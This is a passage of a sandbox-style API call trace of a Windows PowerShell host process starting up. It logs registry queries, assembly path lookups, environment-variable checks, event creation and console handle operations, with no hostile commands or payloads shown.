lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.977] VirtualQuery (in: lpAddress=0x27b9e0, lpBuffer=0x27c8a0, dwLength=0x30 | out: lpBuffer=0x27c8a0*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0063.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.984] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d838 | out: phkResult=0x27d838*=0x3a4) returned 0x0 [0063.984] RegQueryValueExW (in: hKey=0x3a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d7bc, lpData=0x0, lpcbData=0x27d7b8*=0x0 | out: lpType=0x27d7bc*=0x1, lpData=0x0, lpcbData=0x27d7b8*=0x56) returned 0x0 [0063.984] CoTaskMemAlloc (cb=0x5a) returned 0x1b7af850 [0063.984] RegQueryValueExW (in: hKey=0x3a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d78c, lpData=0x1b7af850, lpcbData=0x27d788*=0x56 | out: lpType=0x27d78c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d788*=0x56) returned 0x0 [0063.984] CoTaskMemFree (pv=0x1b7af850) [0063.984] RegCloseKey (hKey=0x3a4) returned 0x0 [0063.984] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d838 | out: phkResult=0x27d838*=0x3a4) returned 0x0 [0063.984] RegQueryValueExW (in: hKey=0x3a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d7bc, lpData=0x0, lpcbData=0x27d7b8*=0x0 | out: lpType=0x27d7bc*=0x1, lpData=0x0, lpcbData=0x27d7b8*=0x56) returned 0x0 [0063.984] CoTaskMemAlloc (cb=0x5a) returned 0x1b7af850 [0063.984] RegQueryValueExW (in: hKey=0x3a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d78c, lpData=0x1b7af850, lpcbData=0x27d788*=0x56 | out: lpType=0x27d78c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d788*=0x56) returned 0x0 [0063.984] CoTaskMemFree (pv=0x1b7af850) [0063.984] RegCloseKey (hKey=0x3a4) returned 0x0 [0063.985] CoTaskMemAlloc (cb=0x20c) returned 0x195980 [0063.985] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x195980 | out: pszPath="C:\\Users\\qj4SUKboE\\Documents") returned 0x0 [0063.985] CoTaskMemFree (pv=0x195980) [0063.985] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Documents", nBufferLength=0x105, lpBuffer=0x27d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Documents", lpFilePart=0x0) returned 0x1c [0063.985] CoTaskMemAlloc (cb=0x20c) returned 0x195980 [0063.985] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x195980 | out: pszPath="C:\\Users\\qj4SUKboE\\Documents") returned 0x0 [0063.985] CoTaskMemFree (pv=0x195980) [0063.985] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Documents", nBufferLength=0x105, lpBuffer=0x27d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Documents", lpFilePart=0x0) returned 0x1c [0063.988] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.988] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.988] CoTaskMemFree (pv=0x18b460) [0063.988] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.988] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.988] CoTaskMemFree (pv=0x18b460) [0063.989] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.989] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.989] CoTaskMemFree (pv=0x18b460) [0063.990] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.990] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.990] CoTaskMemFree (pv=0x18b460) [0063.993] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.993] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.993] CoTaskMemFree (pv=0x18b460) [0063.995] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.995] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.995] CoTaskMemFree (pv=0x18b460) [0063.998] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0063.998] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x27d980 | out: lpMode=0x27d980) returned 1 [0063.999] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.999] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.999] CoTaskMemFree (pv=0x18b460) [0064.003] SetEvent (hEvent=0x37c) returned 1 [0064.003] SetEvent (hEvent=0x3a4) returned 1 [0064.003] SetEvent (hEvent=0x354) returned 1 [0064.003] SetEvent (hEvent=0x378) returned 1 [0064.005] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.005] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.005] CoTaskMemFree (pv=0x18b460) [0064.006] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d6d8 | out: phkResult=0x27d6d8*=0x30c) returned 0x0 [0064.006] RegQueryValueExW (in: hKey=0x30c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27d65c, lpData=0x0, lpcbData=0x27d658*=0x0 | out: lpType=0x27d65c*=0x0, lpData=0x0, lpcbData=0x27d658*=0x0) returned 0x2 [0068.227] CoCreateGuid (in: pguid=0x27d800 | out: pguid=0x27d800*(Data1=0xdd16f9d2, Data2=0xd163, Data3=0x4a9b, Data4=([0]=0xad, [1]=0x8f, [2]=0x2c, [3]=0x1e, [4]=0xf2, [5]=0x9f, [6]=0xa5, [7]=0xbf))) returned 0x0 [0068.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x530 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x52c [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f4 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4e4 [0068.232] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f8 [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x500 [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x54c [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x514 [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x55c [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x560 [0068.233] SetEvent (hEvent=0x4f4) returned 1 [0068.233] SetEvent (hEvent=0x4e0) returned 1 [0068.233] SetEvent (hEvent=0x530) returned 1 [0068.233] SetEvent (hEvent=0x52c) returned 1 [0068.233] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0068.233] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d598 | out: phkResult=0x27d598*=0x568) returned 0x0 [0068.233] RegQueryValueExW (in: hKey=0x568, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27d51c, lpData=0x0, lpcbData=0x27d518*=0x0 | out: lpType=0x27d51c*=0x0, lpData=0x0, lpcbData=0x27d518*=0x0) returned 0x2 [0069.631] SetEvent (hEvent=0x4f0) returned 1 [0069.631] SetEvent (hEvent=0x4e4) returned 1 [0069.631] SetEvent (hEvent=0x4f8) returned 1 [0069.638] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0069.638] GetConsoleMode (in: hConsoleHandle=0xa3, lpMode=0x27d8f0 | out: lpMode=0x27d8f0) returned 1 [0069.639] WriteConsoleW (in: hConsoleOutput=0xa3, lpBuffer=0x3206f68*, nNumberOfCharsToWrite=0x1f, lpNumberOfCharsWritten=0x27d8c0, lpReserved=0x0 | out: lpBuffer=0x3206f68*, lpNumberOfCharsWritten=0x27d8c0*=0x1f) returned 1 [0069.639] CloseHandle (hObject=0xa3) returned 1 [0069.643] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0069.646] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7 [0069.716] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x27d780 | out: lpConsoleScreenBufferInfo=0x27d780) returned 1 [0069.720] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xab [0069.720] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xab, lpConsoleScreenBufferInfo=0x27d780 | out: lpConsoleScreenBufferInfo=0x27d780) returned 1 [0069.723] CreateFileW (lpFileName="CONIN$" (normalized: "conin$"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0069.739] GetConsoleMode (in: hConsoleHandle=0xaf, lpMode=0x27d820 | out: lpMode=0x27d820) returned 1 [0069.740] CoTaskMemAlloc (cb=0x4004) returned 0x1b7f8df0 [0069.740] ReadConsoleW (hConsoleInput=0xaf, lpBuffer=0x1b7f8df0, nNumberOfCharsToRead=0x2000, lpNumberOfCharsRead=0x27d788, pInputControl=0x27d778) Thread: id = 79 os_tid = 0xa10 Thread: id = 80 os_tid = 0xa14 Thread: id = 81 os_tid = 0x910 Thread: id = 82 os_tid = 0x90c Thread: id = 83 os_tid = 0xbd8 [0058.549] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0061.720] LocalFree (hMem=0xf7b10) returned 0x0 [0061.720] CloseHandle (hObject=0x320) returned 1 [0061.721] CloseHandle (hObject=0x13) returned 1 [0061.735] CloseHandle (hObject=0xf) returned 1 [0061.736] RegCloseKey (hKey=0x30c) returned 0x0 [0061.736] RegCloseKey (hKey=0x308) returned 0x0 [0061.736] RegCloseKey (hKey=0x304) returned 0x0 [0061.736] LocalFree (hMem=0xf7980) returned 0x0 [0061.736] RegCloseKey (hKey=0x32c) returned 0x0 [0063.017] RegCloseKey (hKey=0x370) returned 0x0 [0063.017] RegCloseKey (hKey=0x36c) returned 0x0 [0063.017] RegCloseKey (hKey=0x368) returned 0x0 [0063.017] RegCloseKey (hKey=0x364) returned 0x0 [0063.017] RegCloseKey (hKey=0x360) returned 0x0 [0063.017] RegCloseKey (hKey=0x35c) returned 0x0 [0063.017] RegCloseKey (hKey=0x358) returned 0x0 [0063.018] RegCloseKey (hKey=0x3a0) returned 0x0 [0063.018] RegCloseKey (hKey=0x39c) returned 0x0 [0063.018] RegCloseKey (hKey=0x348) returned 0x0 [0063.018] RegCloseKey (hKey=0x344) returned 0x0 [0063.018] RegCloseKey (hKey=0x340) returned 0x0 [0063.018] RegCloseKey (hKey=0x33c) returned 0x0 [0063.018] RegCloseKey (hKey=0x338) returned 0x0 [0063.018] RegCloseKey (hKey=0x334) returned 0x0 [0063.018] RegCloseKey (hKey=0x330) returned 0x0 [0063.019] RegCloseKey (hKey=0x30c) returned 0x0 [0063.019] RegCloseKey (hKey=0x308) returned 0x0 [0063.019] RegCloseKey (hKey=0x398) returned 0x0 [0063.019] RegCloseKey (hKey=0x394) returned 0x0 [0063.019] RegCloseKey (hKey=0x374) returned 0x0 [0063.019] RegCloseKey (hKey=0x3a8) returned 0x0 [0063.019] RegCloseKey (hKey=0x38c) returned 0x0 [0063.019] RegCloseKey (hKey=0x388) returned 0x0 [0063.019] RegCloseKey (hKey=0x384) returned 0x0 [0063.020] RegCloseKey (hKey=0x380) returned 0x0 [0063.020] RegCloseKey (hKey=0x37c) returned 0x0 [0063.020] RegCloseKey (hKey=0x378) returned 0x0 [0063.020] RegCloseKey (hKey=0x354) returned 0x0 [0063.020] RegCloseKey (hKey=0x3a4) returned 0x0 [0063.020] RegCloseKey (hKey=0x304) returned 0x0 [0064.698] CloseHandle (hObject=0x370) returned 1 [0064.699] CloseHandle (hObject=0x40c) returned 1 [0064.699] CloseHandle (hObject=0x364) returned 1 [0064.699] CloseHandle (hObject=0x360) returned 1 [0064.699] CloseHandle (hObject=0x35c) returned 1 [0064.699] CloseHandle (hObject=0x358) returned 1 [0064.699] CloseHandle (hObject=0x3a0) returned 1 [0064.700] CloseHandle (hObject=0x348) returned 1 [0064.700] CloseHandle (hObject=0x3b4) returned 1 [0064.700] CloseHandle (hObject=0x39c) returned 1 [0064.700] CloseHandle (hObject=0x408) returned 1 [0064.700] CloseHandle (hObject=0x344) returned 1 [0064.700] CloseHandle (hObject=0x3b0) returned 1 [0064.701] RegCloseKey (hKey=0x30c) returned 0x0 [0064.701] CloseHandle (hObject=0x390) returned 1 Thread: id = 84 os_tid = 0xbcc [0064.011] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0064.013] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0064.016] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.016] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.016] CoTaskMemFree (pv=0x18b460) [0064.017] VirtualQuery (in: lpAddress=0x1c67d840, lpBuffer=0x1c67e700, dwLength=0x30 | out: lpBuffer=0x1c67e700*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0064.021] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.021] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.021] CoTaskMemFree (pv=0x18b460) [0064.022] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.022] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.022] CoTaskMemFree (pv=0x18b460) [0064.024] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.024] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.024] CoTaskMemFree (pv=0x18b460) [0064.033] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.033] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.033] CoTaskMemFree (pv=0x18b460) [0064.035] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.035] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.035] CoTaskMemFree (pv=0x18b460) [0064.035] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.035] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.035] CoTaskMemFree (pv=0x18b460) [0064.038] VirtualQuery (in: lpAddress=0x1c67daf0, lpBuffer=0x1c67e9b0, dwLength=0x30 | out: lpBuffer=0x1c67e9b0*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0064.038] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.038] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.038] CoTaskMemFree (pv=0x18b460) [0064.040] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.040] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.040] CoTaskMemFree (pv=0x18b460) [0064.040] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.040] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.040] CoTaskMemFree (pv=0x18b460) [0064.040] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.040] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.040] CoTaskMemFree (pv=0x18b460) [0064.043] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.043] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.043] CoTaskMemFree (pv=0x18b460) [0064.068] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.068] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.069] CoTaskMemFree (pv=0x18b460) [0064.070] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.070] CoTaskMemFree (pv=0x18b460) [0064.070] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.070] CoTaskMemFree (pv=0x18b460) [0064.072] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.072] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.072] CoTaskMemFree (pv=0x18b460) [0064.073] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.073] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.073] CoTaskMemFree (pv=0x18b460) [0064.073] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.073] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.073] CoTaskMemFree (pv=0x18b460) [0064.074] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.074] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.074] CoTaskMemFree (pv=0x18b460) [0064.084] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.084] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.084] CoTaskMemFree (pv=0x18b460) [0064.088] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.088] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 